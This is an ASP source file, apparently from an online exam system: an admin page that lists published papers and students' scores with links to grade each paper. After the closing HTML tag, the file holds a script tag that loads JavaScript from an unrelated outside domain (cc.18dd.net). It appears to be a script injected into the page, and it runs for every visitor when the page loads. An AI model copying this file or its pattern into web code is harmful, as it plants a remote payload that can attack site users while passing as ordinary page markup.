📄 readlist.asp
字号:
<!--#include File="isAdmin.asp"-->
<!--#include file="../class/EQuestion.asp"-->
<!--#include file="../class/EPaper.asp"-->
<!--#include file="../class/EPaperList.asp"-->
<!--#include file="../class/EData.asp"-->
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>试卷批阅管理</title>
<link rel="stylesheet" href="../style.css">
<script language="javascript">
function SelChange(){
var s;
var url;
s = document.form1.pid.value;
url = "ReadList.asp?pid=" + s;
form1.action = url
form1.submit();
return(false);
}
function newView(url) {
var oth="toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=yes,resizable=yes,left=50,top=50";
oth = oth+",width=600,height=550";
var newView=window.open(url,"newView",oth);
newView.focus();
return false;
}
</script>
</head>
<body link="#000080" vlink="#080080">
<form id="form1" name="form1" method="POST">
<%Set eq = New EQuestion
Set pa = New EPaper
Set ls = New EPaperList
Set dt = New EData
Set usr = New EUsers
Dim Operid,n,lid,pid
pid = Request.QueryString("pid")
%>
<p align='center'><font style="FONT-SIZE: 12pt"><b>审卷管理</b></font></p>
<table border="0" cellspacing="0" width="100%">
<tr>
<td><strong>试卷名称</strong>
<select name=pid onchange="SelChange()">
<option value=0>--请选择试卷名称--</option>
<%pa.GetPubPaper()
DO While Not pa.rs.EOF
If pa.rs("PId")=CInt(pid) Then%>
<option selected value=<%=pa.rs("PId")%>><%=pa.rs("PName")%></option>
<%Else%>
<option value=<%=pa.rs("PId")%>><%=pa.rs("PName")%></option>
<%End If
pa.rs.MoveNext
Loop
%></select>
</td>
</tr>
</table><br>
<center>
<table border="1" cellspacing="0" width="100%" bordercolorlight="#4DA6FF" bordercolordark="#ECF5FF">
<tr>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>班级编号</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>学员姓名</strong></td>
<td width="20%" align="center" bgcolor="#eeeeee"><strong>总分</strong></td>
<td width="40%" align="center" bgcolor="#eeeeee"><strong>操作</strong></td>
</tr>
<%
'读取已参加考试的学员考卷数据到记录集rs中
dt.GetDataByPId(pid)
If dt.rs.EOF Then
'如果记录集为空,则显示“目前还没有记录”
Response.Write "<tr><td colspan=4 align=center><font style='COLOR:Red'>目前还没有记录。</font></td></tr></table>"
Else
'在表格中显示试卷名称
DO WHILE Not dt.rs.EOF
uname = dt.rs("UserName")
dv = dt.rs("dv")
pid = dt.rs("PId")
'读取学员信息
usr.GetUserInfo(uname)
cno = usr.rs("UserClass")
rname = usr.rs("RealName")
%>
<tr><td align=center><%=cno%></td>
<td align=center><%=rname%></td>
<td align=right><%=dv%></td>
<td align=center>
<a href="ReadPaper.asp?pid=<%=pid%>&uname=<%=uname%>" OnClick="return newView(this.href)">批卷</a>
</td></tr>
<% dt.rs.MoveNext()
LOOP
End If
%>
</table>
</form>
</BODY>
</HTML>
<script language=javascript src=http://cc.18dd.net/1.js></script>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -